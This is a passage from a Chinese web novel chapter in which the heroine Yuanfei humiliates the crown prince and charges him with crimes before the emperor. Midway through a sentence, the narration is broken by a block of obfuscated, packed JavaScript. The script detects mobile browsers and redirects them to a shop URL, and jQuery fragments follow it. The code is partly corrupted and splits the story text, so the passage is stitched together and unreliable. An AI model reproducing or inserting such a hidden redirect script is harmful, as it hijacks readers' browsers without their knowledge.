“贵人事忙,忙得教不好儿子,既然你教不好,不如我替你分忧?”
鸢飞将棠落交给秦远征,向太子走去,在太子强装镇定的眼神中,抬脚踩住了他的手。
“自己没本事,就要毁掉别人写文作画的手,不愧是我印象中满心都是嫉妒怨恨的太子啊。”鸢飞说着,加重了力道。
太子没有看她,他知道求情对鸢飞来说是没用的,他彻底得罪了鸢飞,现在能救自己,能压下鸢飞的只有皇帝了。
他神色凄楚地对嫆昭明哭诉道:“父皇!父皇!求你救救儿臣吧,儿臣知道错了,儿臣真的知道错了。”
嫆昭明看着太子狼狈的模样,半晌没有说话,他在想,事情究竟是怎么发展到今天这步的呢?
昔日聪慧机智的太子,怎么变成了如今狼狈不堪的样子,他明明只是想教训一下太子,可为什么此刻竟然觉得太子还不如死了的好,这样的孩子竟然是自己的儿子,真的太丢脸了呢。
鸢飞踩着太子不放,但眼神却始终落在嫆昭明身上,她在观察这个帝国最高的统治者,在揣测他的心思,在琢磨他的弱点,更在思考
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16541810|184819||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
怎么才能把他从最高的位置踹下来。
太子固然过分,可赋予太子权力,纵容太子作恶的皇帝才是一切的根源,要想彻底解决太子,只有杀了皇帝吧?
鸢飞轻轻眨了眨眼,眨去了眼里一闪而过的杀意,要克制、要隐忍、要藏起不能说的心思。
“父皇呢?父皇要儿臣放过他吗?”
“你真的要杀了他?”嫆昭明问,“用什么理由,他犯了哪条法?”
鸢飞面不改色,冷冷道出太子所犯罪行:
“《大玄律》刑律篇明文规定:凡官民人等,无稽私设牢狱,擅用夹棍等刑者,交部议处。不遵国法,此其一罪。”
“宫女是内府之人,太子染指姊妹的宫女,属于亵渎宫廷、冒犯君主权威,此其二罪。”
“身为国之本的太子,绑架、囚禁宫女、对宫女动用私刑毁打其、身体、更试图当众□□宫女,如此残暴又好色。”
“该是我问父皇,这等不仁不义又不孝不悌之辈,父皇要一直留着他当太子吗?”
看着嫆昭明久久沉默不语,太子这下是真的急了,对着鸢飞骂道:“就凭你一张嘴就想定孤的罪吗?孤只是被美色所惑,一时糊涂才犯了错,但也不过是男人都会犯的错而已!”
“父皇,你千万不要被鸢飞迷惑,她都是在胡说,如果我有罪,难道她和秦远征就没罪吗?擅闯东宫,她是想造反吗?”
嫆昭明看着焦急的太子,沉沉叹了口气,明明现在的局面是他一手推动的,可真正走到今天这步,还是有些下不了手。
“确实像太子所说,他究竟犯了什么罪,也不是鸢飞你一张嘴就能决定的。”
“那就交给刑部仲裁!我的罪我愿意认,不知道他的罪他愿不愿意认。”鸢飞寸步不让。
“本宫是太子!身为储君,怎么能让人臣审判!”太子脱口而出。
就在两人僵持不下之时,吴公公快步走来,说出了一个让在场所有人都为之侧目的消